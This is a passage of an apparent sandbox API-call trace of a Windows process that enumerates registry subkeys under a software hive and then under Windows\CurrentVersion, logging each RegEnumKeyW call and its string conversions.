RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0xf6b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0222.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0222.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0xf6c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0222.994] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0xf6b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0222.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0222.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0xf6c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0222.994] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0xf6b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0222.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0222.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0xf6c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0222.994] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0xf6b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0222.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0222.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0xf6c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0222.994] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0xf6b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0222.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0xf6c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0222.995] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0xf6b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0222.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0222.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0xf6c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0222.995] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0xf6b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0222.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0222.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0xf6c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0222.995] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0xf6b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0222.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0xf6c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0223.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0xf6b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0223.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0xf6c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0223.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0xf6b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0223.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0xf6c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0223.034] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0xf6b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0223.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0xf6c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0223.034] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x53fb08 | out: phkResult=0x53fb08*=0xa0) returned 0x0 [0223.034] RegCloseKey (hKey=0x24) returned 0x0 [0223.034] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xf6b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0223.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0223.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0xf6c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0223.035] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x53fb08 | out: phkResult=0x53fb08*=0x24) returned 0x0 [0223.035] RegCloseKey (hKey=0xa0) returned 0x0 [0223.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0xf6b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0223.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0223.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0xf6c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0223.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0xf6b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0223.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0xf6c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0223.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0xf6b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0223.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0xf6c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0223.035] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0xf6b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0223.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0xf6c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0223.036] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0xf6b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0223.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0223.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0xf6c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0223.036] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0xf6b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0223.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0xf6c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0223.036] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0xf6b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0223.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0xf6c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0223.036] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0xf6b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0223.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0223.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0xf6c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0223.036] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0xf6b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0223.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0xf6c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0223.036] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0xf6b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0223.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0223.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0xf6c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0223.037] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0xf6b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0223.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0xf6c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0223.037] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0xf6b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0223.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0223.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0xf6c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0223.037] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0xf6b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0223.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0223.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0xf6c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0223.037] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0xf6b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0223.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0xf6c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0223.037] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0xf6b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0223.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0223.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0xf6c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0223.037] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0xf6b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0223.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0223.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0xf6c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0223.038] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0xf6b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0223.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0223.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0xf6c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0223.038] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0xf6b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0223.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0xf6c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0223.038] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0xf6b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0223.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0xf6c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0223.038] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0xf6b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0223.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0xf6c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0223.038] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0xf6b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0223.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0xf6c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0223.038] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0xf6b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0223.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0xf6c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0223.039] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0xf6b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0223.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0xf6c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0223.039] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0xf6b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0223.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0xf6c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0223.039] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0xf6b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0223.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0xf6c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0223.039] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0xf6b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0223.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0xf6c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0223.039] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0xf6b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0223.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.039] 